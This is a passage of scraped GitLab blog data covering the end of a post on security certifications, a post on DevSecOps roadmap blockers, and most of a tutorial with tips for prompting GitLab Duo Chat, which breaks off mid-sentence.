settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html).** These settings can be configured to limit merge request approvals, enforce segregation of duties responsibilities, and force password authentication. For our certifications, merge request approval settings were inspected for relevant projects to support the following requirements: \n    - [AICPA Trust Service Critieria (TSC)](https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022) CC8.1\n\n    - [ISO 27001:2022](https://www.iso.org/standard/27001) 5.3, 8.32\n\n    - [TISAX](https://portal.enx.com/en-us/tisax/) 5.2.1\n\n2. **[Protected branch settings](https://docs.gitlab.com/ee/user/project/protected_branches.html#protected-branches).** These configuration settings allow administrators to set branch protections and limit what users can do based on their configured permissions. For our certifications, protected branches were inspected for relevant projects to support the following requirements: \n    - AICPA TSC CC8.1\n    - ISO 27001:2022 8.32\n    - TISAX 5.2.1, 5.2.2\n\n3. **[Code owners](https://docs.gitlab.com/ee/user/project/codeowners/).** This feature specifies the users or groups responsible for specific files and directories in a repository. The CODEOWNERS file can be enabled to identify owners of a file or directory and require owners to approve changes. Code owners can be implemented in conjunction with your approval rules. For our certifications, CODEOWNERS files were inspected for relevant projects to support the following requirements:\n    - AICPA TSC CC8.1\n    - ISO 27001:2022 8.32\n    - TISAX 5.2.1\n\n4. **Static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/))/dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)).** A part of using GitLab CI/CD, SAST and DAST are available to check your source code for known vulnerabilities. For our certifications, We leveraged SAST/DAST to support the following requirements:\n    - AICPA TSC CC3.2, CC7.1, CC9.2\n    - ISO 27001:2022 8.28, 8.29\n    - TISAX 5.2.5\n\n5. [Audit events](https://docs.gitlab.com/ee/administration/audit_events.html). This feature is used to track important events, including who performed what action and when. Audit events can be used to support the following requirements:\n    - AICPA TSC CC8.1\n    - ISO 27001:2022 8.15, 8.16\n    - TISAX 5.2.4\n\n## Get started today\nGitLab makes compliance easier than ever. Agile planning enables end-to-end visibility throughout the audit. and security is integrated into the design of the product, leading to faster, more comprehensive achievement of compliance requirements.\n\nHere at GitLab we are always pursuing the expansion of our security certification portfolio to give our customers and community additional assurance as well as additional transparency into our information security practices.\n\n> Have a certification you’d like to see us work towards? Have questions about how your organization can set up your GitLab instance to utilize our compliance features? Drop us a line by emailing customer-assurance@gitlab.com, we’d love to hear from you!\n\n## More Building GitLab with GitLab\n\n* [Building GitLab with GitLab: How GitLab.com inspired Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/)\n* [Building GitLab with GitLab: Web API Fuzz Testing](https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow/)\n* [Building GitLab with GitLab: Why there is no MLOps without DevSecOps](https://about.gitlab.com/blog/there-is-no-mlops-without-devsecops/)\n* [Building GitLab with GitLab: Stress-testing Product Analytics](https://about.gitlab.com/blog/building-gitlab-with-gitlab-stress-testing-product-analytics/)",[1899,674,964],{"slug":6427,"featured":6,"template":678},"building-gitlab-with-gitlab-expanding-our-security-certification-portfolio","content:en-us:blog:building-gitlab-with-gitlab-expanding-our-security-certification-portfolio.yml","Building Gitlab With Gitlab Expanding Our Security Certification Portfolio","en-us/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio.yml","en-us/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio",{"_path":6433,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6434,"content":6440,"config":6444,"_id":6446,"_type":16,"title":6447,"_source":17,"_file":6448,"_stem":6449,"_extension":20},"/en-us/blog/how-to-successfully-deliver-your-software-development-roadmap",{"title":6435,"description":6436,"ogTitle":6435,"ogDescription":6436,"noIndex":6,"ogImage":6437,"ogUrl":6438,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6438,"schema":6439},"How to successfully deliver your software development roadmap","Here are three common blockers and how to overcome them to fully realize the ROI of a DevSecOps platform investment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669103/Blog/Hero%20Images/AdobeStock_243118595.jpg","https://about.gitlab.com/blog/how-to-successfully-deliver-your-software-development-roadmap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to successfully deliver your software development roadmap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-04-04\",\n      }",{"title":6435,"description":6436,"authors":6441,"heroImage":6437,"date":6423,"body":6442,"category":962,"tags":6443},[1524],"2024 is shaping up to be the year of DevSecOps, where more organizations realize the full potential of blending development, security, and operations through the adoption of a comprehensive platform. This is when teams will move beyond using just source code management (SCM) and tap into all the [AI-powered features](https://about.gitlab.com/topics/devops/the-role-of-ai-in-devops/) available across the software development lifecycle (SDLC), delivering better, more secure software faster. But first organizations have to knock down the blockers that can get in the way of successful [DevSecOps](https://about.gitlab.com/topics/devsecops/) adoption.\n\nIn talking to customers at organizations of all sizes, I've heard three main blockers:\n* The potential of AI is believable, but right now it seems limited to code creation and that has limited impact as there is more to the SDLC.\n* A platform seems like a great idea, but forcing my development, security, and operations team to give up their preferred tools all at once will undoubtedly cause a revolt. Yet, without everyone on the same platform, the investment is hard to justify.\n* Regulations and compliance makes it difficult to leverage a DevSecOps SaaS solution, and being on a multi-tenant solution is a non-starter for us as we are in a highly regulated industry. However, the overhead of self-hosting a DevSecOps platform is becoming untenable at our scale.\n\nWhile legitimate concerns, these blockers can be eliminated by combining DevSecOps practices and a platform approach. \"Making sure that we spend our money wisely is very, very important. GitLab allowed us to reduce our costs and centralize our work in one place. It’s been money well spent,\" says Andy Chow, Technology Chief of Staff at global fintech company Airwallex.\n\nLet's dig deeper into each blocker and see how it is resolved with a DevSecOps platform.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n### AI is not limited: It is having real impact across the SDLC\n\nWe know that AI is already improving the developer experience but there is so much more that AI can do across the entire SDLC. With AI, organizations can unburden development, security, and operations teams from tedious tasks by taking advantage of the efficiencies that AI provides. For instance, users can access summaries of comments in merge requests, have tests generated, refactor sections of code, and perform other time-saving actions.\n\nThat's why with [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered workflows, we focus on more than just code creation — after all, [code creation only accounts for 25% of a developer's time](https://about.gitlab.com/blog/gitlab-global-devsecops-ai-report/). There is so much more that happens in the SDLC where AI can add efficiency. For instance, development, security, and operations teams that use AI-powered capabilities, such as Vulnerability Remediation and Root Cause Analysis, share that they can find and resolve vulnerabilities earlier and identify CI/CD pipeline failures faster and in a more collaborative manner.\n\n### Forget one-size-fits all, migrate your way\n\nRealizing the benefit of a DevSecOps platform is not a one-size-fits-all. You can customize your deployment to fit your organization's needs and where you are in your digital transformation journey — choosing one team at a time to adopt the platform or a full cutover. I have advice, though: Commit to using more than just source code management. A DevSecOps platform is a robust solution that includes enterprise agile planning, CI/CD, security and compliance, value stream analytics, and more. Also, make sure that as you deploy your platform, your users agree to get familiar with its range of capabilities — and not still maintain [a complex toolchain](https://about.gitlab.com/blog/battling-toolchain-technical-debt/).\n\nThe way to extract the most ROI and satisfaction from your migration is to show users how to get the functionality they had in their other tools from within the DevSecOps platform. To that end, we've increased our resources to support you. From [in-depth tutorials](https://about.gitlab.com/blog/tags/tutorial/) to [clear reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/), we have a vast library of content (including videos) for you to draw upon to help your users acclimate to and thrive in the DevSecOps environment. \n\nWe've also made it easier to onboarding teams, with capabilities like [remote development environments](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), enabling organizations to reduce adoption friction. In fact, as more teams within your organization adopt GitLab, consider expanding access for other critical functions that contribute to delivering software value such as Finance, Legal, and Marketing teams. The power of a DevSecOps platform is giving everyone visibility into the SDLC which drives better collaboration, improves planning, reduces security risk, improves team velocity, and leads to faster time-to-value. This means your teams are happier and so are the users of the applications you build, secure, and deploy using GitLab.\n\n> Read how the U.S. Navy's Black Pearl [sped up onboarding using GitLab](https://about.gitlab.com/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops/).\n\n**Note:** GitLab doesn't have to be introduced to the organization by the development team. For instance, if security teams want vulnerabilities identified and mitigated earlier in the lifecycle or increased compliance via security scanning, they can recommend that developers use the DevSecOps platform. [Read how U.K. retailer Dunelm made this happen](https://about.gitlab.com/customers/dunelm/).\n\n### Multi-tenancy is just one option; single-tenancy can address regulatory requirements\n\nKeeping software up-to-date and secure while maintaining compliance with strict regulations can make self-hosting a challenge. In June 2023, we launched [GitLab Dedicated](https://about.gitlab.com/dedicated/), our single-tenant SaaS solution, into general availability to address the needs of organizations in highly regulated industries like finance and healthcare, and in highly regulated geographies such as the European Union. GitLab Dedicated provides the secure environment organizations need for regulatory compliance, including control over data residency and isolation, while removing the overhead of self-hosting.\n\nDedicated customers are upgraded automatically every month, which means they have all of the benefits without the administration overhead. Furthermore, GitLab Dedicated comes with [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/), enabling organizations to ship secure software faster with built-in compliance visibility and controls as well as advanced security scanning capabilities.\n\n> Learn the [origins of GitLab Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/) and how it has grown into the solution highly regulated organizations need.\n\n### Try GitLab today\n\nAs you proceed with your software development roadmap for 2024 (and beyond), consider what an AI-powered DevSecOps platform could do for your organization. Also keep an eye on [our Direction page](https://about.gitlab.com/direction/#fy25-rd-investment-themes) to learn about what’s coming next and [our monthly release posts](https://about.gitlab.com/blog/categories/devsecops-platform/) to learn about the latest and greatest available.\n\n> Start your trial of [GitLab Duo Pro](https://about.gitlab.com/gitlab-duo/#free-trial) or [GitLab Ultimate](https://gitlab.com/-/trials/new) for free today.\n",[790,943,479,674],{"slug":6445,"featured":92,"template":678},"how-to-successfully-deliver-your-software-development-roadmap","content:en-us:blog:how-to-successfully-deliver-your-software-development-roadmap.yml","How To Successfully Deliver Your Software Development Roadmap","en-us/blog/how-to-successfully-deliver-your-software-development-roadmap.yml","en-us/blog/how-to-successfully-deliver-your-software-development-roadmap",{"_path":6451,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6452,"content":6458,"config":6463,"_id":6465,"_type":16,"title":6466,"_source":17,"_file":6467,"_stem":6468,"_extension":20},"/en-us/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"title":6453,"description":6454,"ogTitle":6453,"ogDescription":6454,"noIndex":6,"ogImage":6455,"ogUrl":6456,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6456,"schema":6457},"10 best practices for using AI-powered GitLab Duo Chat","Explore tips and tricks for integrating GitLab Duo Chat into your AI-powered DevSecOps workflows. Plus, expert advice on how to refine chat prompts for the best results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097639/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_77JeTV9gAmbXM0224acirV_1750097638765.png","https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10 best practices for using AI-powered GitLab Duo Chat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-04-02\",\n      }",{"title":6453,"description":6454,"authors":6459,"heroImage":6455,"date":6460,"body":6461,"category":791,"tags":6462},[4808],"2024-04-02","Getting into a conversation with AI can be challenging. What question do you start with? How do you frame the question? How much context is needed? Will the conversation provide the best and most efficient results?\n\nIn this tutorial, we explore 10 tips and best practices to integrate GitLab Duo Chat into your AI-powered DevSecOps workflows and refine your prompts for the best results.\n\n[Get started: Keep GitLab Duo Chat open and in sight](#get-started-keep-gitlab-duo-chat-open-and-in-sight)\n\n[10 best practices for using GitLab Duo Chat](#10-best-practices-for-using-gitlab-duo-chat)\n\n1. [Have a conversation](#1.-have-a-conversation)\n2. [Refine the prompt for more efficiency](#2.-refine-the-prompt-for-more-efficiency)\n3. [Follow prompt patterns](#3.-follow-prompt-patterns)\n4. [Use low-context communication](#4.-use-low-context-communication)\n5. [Repeat yourself](#5.-repeat-yourself)\n6. [Be patient](#6.-be-patient)\n7. [Reset and start anew](#7.-reset-and-start-anew)\n8. [Gain efficiency with slash commands in the IDE](#8.-gain-efficiency-with-slash-commands-in-the-ide)\n9. [Refine the prompt for slash commands](#9.-refine-the-prompt-for-slash-commands)\n10. [Get creative with slash commands](#10.-get-creative-with-slash-commands)\n\nBonus content:\n- [Shortcuts](#shortcuts)\n- [Fun exercises](#fun-exercises)\n- [Learn more](#learn-more)\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today!](https://about.gitlab.com/seventeen/)\n\n## Get started: Keep GitLab Duo Chat open and in sight\n\n[GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) is available in the GitLab UI, Web IDE, and supported programming IDEs, for example, VS Code. \n\nIn VS Code, you can open GitLab Duo Chat in the default left pane. You can also drag and drop the icon into the right pane. This allows you to keep Chat open while you write code and navigate the file tree, perform Git actions, etc. To reset the Chat location, open the command palette (by pressing the `Command+Shift+P` (on macOS) or `Ctrl+Shift+P` (on Windows/Linux) keyboard shortcut and then type `View: Reset View Locations`. The following short video shows you how to do it.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/foZpUvWPRJQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe Web IDE and VS Code share the same framework – the same method works in the Web IDE for more efficient workflows.\n\n![Chat in Web IDE](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097645344.png)\n\n## 10 best practices for using GitLab Duo Chat\n\n### 1. Have a conversation\n\nChats are conversations, not search forms.\n\nFor the first conversation icebreaker, you can start with the same search terms similar to a browser search and experiment with the response and output. In this example, let's start with a C# project and best practices. \n\n> c# start project best practices\n\n![Chat prompt for C# start project best practices and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097646/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097645345.png)\n\nThe response is helpful to understand a broad scope of C#, but does not kickstart immediate best practices. Let's follow up with a more focused question in the same context. \n\n> Please show the project structure for the C# project.\n\n![Chat prompt for project structure for the C# project and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097645346.png)\n\nThis answer is helpful. Next, let's follow up with a Git question, and use the same question structure: Direct request to show something.\n\n> Show an example for a .gitignore for C#\n\n![Chat prompt for a .gitignore for C# and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image25_aHR0cHM6_1750097645347.png)\n\nContinue with CI/CD and ask how to build the C# project.\n\n> Show a GitLab CI/CD configuration for building the C# project\n\n![Chat prompt for GitLab CI/CD configuration for building C# project and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image16_aHR0cHM6_1750097645349.png)\n\nIn this example, Chat encouraged us to request specific changes. Let's ask to use the .NET SDK 8.0 instead of 6.0. \n\n> In the above example, please use the .NET SDK 8.0 image\n\n![Chat prompt to use .NET SDK 8.0 image and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image32_aHR0cHM6_1750097645350.png)\n\nThe CI/CD configuration uses the .NET command line interface (CLI). Maybe we can use that for more efficient commands to create the projects and tests structure, too? \n\n> Explain how to create projects and test structure on the CLI \n\n![Chat prompt to explain how to create projects and test structure on the CLI and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097645351.png)\n\nOf course, we could execute these commands in the terminal, but what if we wanted to stay in VS Code? Let's ask Chat.\n\n> Explain how to open a new terminal in VS Code\n\n![Chat prompt to explain how to open a new terminal in VS Code and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097645351.png)\n\n### 2. Refine the prompt for more efficiency\n\nThink of GitLab Duo Chat as a human, and engage with full sentences that provide as much context into your thoughts and questions. \n\nExperienced browser search users might know this approach to queries: Build up the question, add more terms to refine the scope, and restart the search after opening plenty of tabs. \n\nIn a browser search, this probably would result in four to five different search windows. \n\n```markdown\nc# start project best practices\nc# .gitignore\nc# gitlab cicd \nc# gitlab security scanning \nc# solutions and projects, application and tests\n``` \n\nYou can follow this strategy in a chat conversation, too. It requires adding more context, making it a conversational approach. GitLab Duo Chat enables you to ask multiple questions in one conversation request. Example: You need to start with a new C# project, apply best practices, add a `.gitignore` file, and configure CI/CD and security scanning, just like in the above search. In Chat, you can combine the questions into one request.\n\n> How can I get started creating an empty C# console application in VS Code? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI.\n\n![Chat prompt adding more context and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image37_aHR0cHM6_1750097645352.png)\n\nIn this response, Chat suggests to ask for specific configuration examples in follow-up questions in the conversation. Async practice: Create follow-up questions. You can omit `C#` as context in the same chat session.\n\n> Please show an example for a .gitignore. Please show a CI/CD configuration. Include the SAST template.\n\n### 3. Follow prompt patterns \n\nFollow the pattern: `Problem statement, ask for help, provide additional requests`. Not everything comes to mind when asking the first question – don't feel blocked, and instead start with `Problem statement, ask for help` in the first iteration. \n\n> I need to fulfill compliance requirements. How can I get started with Codeowners and approval rules?\n\n![Chat prompt to get started with Codeowners and approval rules and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750097645352.png)\n\nThe answer is helpful but obviously generic. Now, you may want to get specific help for your team setup. \n\n> Please show an example for Codeowners with different teams: backend, frontend, release managers.\n\n![Chat prompt to show an example for Codeowners with different teams: backend, frontend, release managers and reponse ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image31_aHR0cHM6_1750097645353.png)\n\nAn alternative is to describe the situation you are in and to ask for input. It can feel a bit like a conversation to follow the STAR model (Situation, Task, Action, Results). \n\n> I have a Kubernetes cluster integrated in GitLab. Please generate a Yaml configuration for a Kubernetes service deployment. Explain how GitOps works as a second step. How to verify the results?\n\n![Chat prompt with multiple questions and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image27_aHR0cHM6_1750097645354.png)\n\n### 4. Use low-context communication \n\nProvide as much context as needed to provide an answer. Sometimes, the previous history or opened source code does not provide that helpful context. To make questions more efficient, apply a pattern of [low-context communication](https://handbook.gitlab.com/handbook/company/culture/all-remote/effective-communication/#understanding-low-context-communication), which is used in all-remote communication at GitLab.\n\nThe following question did not provide enough context in a C++ project.\n\n> Should I use virtual override instead of just override?\n\n![Chat prompt asking if the users should use virtual override instead of just override and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image34_aHR0cHM6_1750097645354.png)\n\nInstead, try to add more context:\n\n> When implementing a pure virtual function in an inherited class, should I use virtual function override, or just function override? Context is C++. \n\n![Chat prompt with more detail and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image36_aHR0cHM6_1750097645355.png)\n\nThe example is also shown in the [GitLab Duo Coffee Chat: Refactor C++ functions into OOP classes for abstract database handling](https://youtu.be/Z9EJh0J9358?t=2190). \n\n### 5. Repeat yourself\n\nAI is not predictable. Sometimes, it may not answer with the expected results, or does not produce source code examples or configuration snippets because it lacked context. It is recommended to repeat the question and refine the requirements.\n\nIn the following example, we want to create a C# application. In the first attempt, we did not specify the application type – C# can be used to create console/terminal but also UI applications. The result also does not provide an empty example source code. The second, repeated prompt adds two more words - `console` and `empty`. \n\n> How can I get started creating an C# application in VSCode?\n> \n> How can I get started creating an empty C# console application in VSCode?\n\nThe results in the prompt differ. The first response is helpful to get started by following the instructions in the VS Code window, but it does not tell us where the source code is located and how to modify it. The repeated prompt with refinements modifies the response and provides instructions how to override the default template with some “hello world” code.\n\n![Chat prompt with repeated prompt with modifications and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image28_aHR0cHM6_1750097645355.png)\n\nYou can also combine repeat and refine strategies, and ask Chat to show an example for application code and tests.\n\n> How can I get started creating an empty C# console application in VSCode? Please show an example for application and tests.\n\n![Chat prompt that asks for example for application and tests and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097645356.png)\n\n#### Repeat yourself after generic questions \n\nWhen asking generic technology questions, GitLab Duo Chat might not be able to help. In the following scenario, I wanted to get a suggestion for Java build tools and framework, and it did not work. There could be many answers: Maven, Gradle, etc., as build tools, and [100+ Java frameworks](https://en.wikipedia.org/wiki/List_of_Java_frameworks), depending on the technology stack and requirements.\n\n![Chat prompt for Java build tools and framework and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097645356.png)\n\nLet's assume that we want to focus on a customer environment with [Java Spring Boot](https://spring.io/projects/spring-boot). \n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example.\n\n![Chat prompt that asks for more, including a hello world example and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image26_aHR0cHM6_1750097645357.png)\n\nThis provides great results already. As an async exercise, repeat the prompt, and ask how to deploy the application, adding more refinements in each step. Alternatively, you can make it a follow-up conversation.\n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD.\n> \n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images.\n> \n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images. Use Kubernetes and GitOps in GitLab.\n\n### 6. Be patient\n\nSingle words or short sentences might not generate the desired results, [as shown in this video example](https://youtu.be/JketELxLNEw?t=1220). Sometimes, GitLab Duo Chat is able to guess from available data, but sometimes also might insist on providing more context.\n\nExample: `labels` matches the GitLab documentation content.\n\n![Chat prompt about labels and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097645357.png)\n\nRefine the question to problem statements and more refinements for issue board usage.\n\n> Explain labels in GitLab. Provide an example for efficient usage with issue boards.\n\n![Chat prompt that includes asking for an example and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750097645358.png)\n\nOr use a problem statement, followed by a question and the ask for additional examples.\n\n> I don't know how to use labels in GitLab. Please provide examples, and how to use them for filters in different views. Explain these views with examples.\n\n![Chat prompt with problem statement and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097645358.png)\n\nAlso, avoid `yes/no` questions and instead add specific context.\n\n> Can you help me fix performance regressions?\n\n![Chat promptt that asks for help with fixing performance regressions and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750097645359.png)\n\nInstead, provide the context of the performance regression, including the programming languages, frameworks, technology stack, and environments. The following example uses an environment from some years ago, which can still be accurate today.\n\n> My PHP application encounters performance regressions using PHP 5.6 and MySQL 5.5. Please explain potential root causes, and how to address them. The app is deployed on Linux VMs.\n\n![Chat prompt that includes more detail and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image24_aHR0cHM6_1750097645360.png)\n\n### 7. Reset and start anew\n\nSometimes, the chat history shows a different learning curve and provides the wrong context for follow-up questions. Or, you asked specific questions where GitLab Duo Chat cannot provide answers. Since generative AI is not predictable, it might also lack the ability to provide certain examples, but think it gave them in a future response (observed in Chat Beta). The underlying large language models, or LLMs, sometimes might insist on giving a specific response, in an endless loop.\n\n> How can I get started creating an empty C# console application in VSCode? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI.\n\nAfter asking the question above with an example configuration, I wanted to reduce the scope of the question to get a more tailored response. It did not work as expected, since Chat knows about the chat history in context, and refers to previous answers.\n\n> How can I get started creating an empty C# console application in VSCode? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#.\n\n![Chat prompt that asks for configuration examples and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image23_aHR0cHM6_1750097645360.png)\n\nTo force Chat into a new context, use `/reset` as slash command to reset the session, and repeat the question to get better results. You can also use `/clean` or `/clear` to delete all messages in the conversation.\n\n### 8. Gain efficiency with slash commands in the IDE \n\n#### Explain code\n\n- Q: Generated code? Existing code? Legacy code?\n- A: Use the [`/explain` slash command in the IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#explain-code-in-the-ide).\n- A2: Refine the prompt with more focused responses, for example: `/explain focus on potential shortcomings or bugs`. \n\n![Chat prompt with /explain slash command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/gitlab_duo_chat_slash_commands_explain_01_aHR0cHM6_1750097645361.png)\n\n![Chat prompt with refined prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097645361.png)\n\n#### Refactor code \n\n- Q: Unreadable code? Long spaghetti code? Zero test coverage?\n- A: Use the [`/refactor` slash command in the IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#refactor-code-in-the-ide). \n- A2: Refine the prompt for more targeted actions, for example object-oriented patterns: `/refactor into object-oriented classes with methods and attributes`. \n\n![Chat prompt with /refactor slash command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image35_aHR0cHM6_1750097645362.png)\n\n![Chat prompt with refined prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image30_aHR0cHM6_1750097645362.png)\n\n#### Generate tests\n\n- Q: Testable code but writing tests takes too much time?\n- A: Use the [`/tests` slash command in the IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#write-tests-in-the-ide).\n- A2: Refine the prompt for specific test frameworks, or test targets. You can also instruct the prompt to focus on refactoring, and then generate tests: `/tests focus on refactoring the code into functions, and generate tests`.\n\n![Chat prompt with /tests slash command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image29_aHR0cHM6_1750097645363.png)\n\n![Chat prompt with refined prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097645363.png)\n\nMore practical examples in complete development workflows are available in the [GitLab Duo examples](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html) documentation.\n\n### 9. Refine the prompt for slash commands \n\nYou will see refined prompts tips in this blog post a lot. It is one of the ingredients for better AI-powered workflow efficiency. Slash commands are no different, and allow for better results in GitLab Duo Chat.\n\nA customer recently asked: \"Can code explanations using `/explain` create comments in code?\" The answer is: no. But you can use the Chat prompt to ask follow-up questions, and ask for a summary in a code comment format. It requires the context of the language. \n\nThe following example with a [C++ HTTP client code using the curl library](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5cc9bdd65ee8ee16c548bea0402c18f8209d4d06/chat/slash-commands/c++/cli.cpp) needs more documentation. You can refine the `/explain` prompt by giving more refined instructions to explain the code by adding code comments, and then copy-paste that into the editor.\n\n> /explain add documentation, rewrite the code snippet\n\n![Chat prompt to add documentation and rewrite code snippet and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097645363.png)\n\nAlternatively, you can ask Chat to `/refactor` the source code, and generate missing code comments through a refined prompt.\n\n> /refactor add code comments and documentation\n\n![Chat prompt to refactor source code and generate code comments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750097645364.png)\n\n### 10. Get creative with slash commands\n\nWhen the Chat prompt does not know an answer to a question about the source code or programming language, look into the slash commands `/explain`, `/refactor`, and `/tests` and how much they can help in the context.\n\nIn the following example, an SQL query string in C++ is created in a single line. To increase readability, and also add more database columns in the future, it can be helpful to change the formatting into a multi-line string.\n\n> std::string sql = \"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, email TEXT NOT NULL)\";\n\nYou can ask GitLab Duo Chat about it, for example, with the following question:\n\n> How to create a string in C++ using multiple lines?\n\nChat may answer with an explanation and optional, a source code example. In this context, it can interpret the question to create a C++ string value with multiple lines, for example, using the `\\n` character, assigned to a variable. \n\nThe requirement instead is to only format the written code, and variable value assignment in multiple lines. The string value itself does not 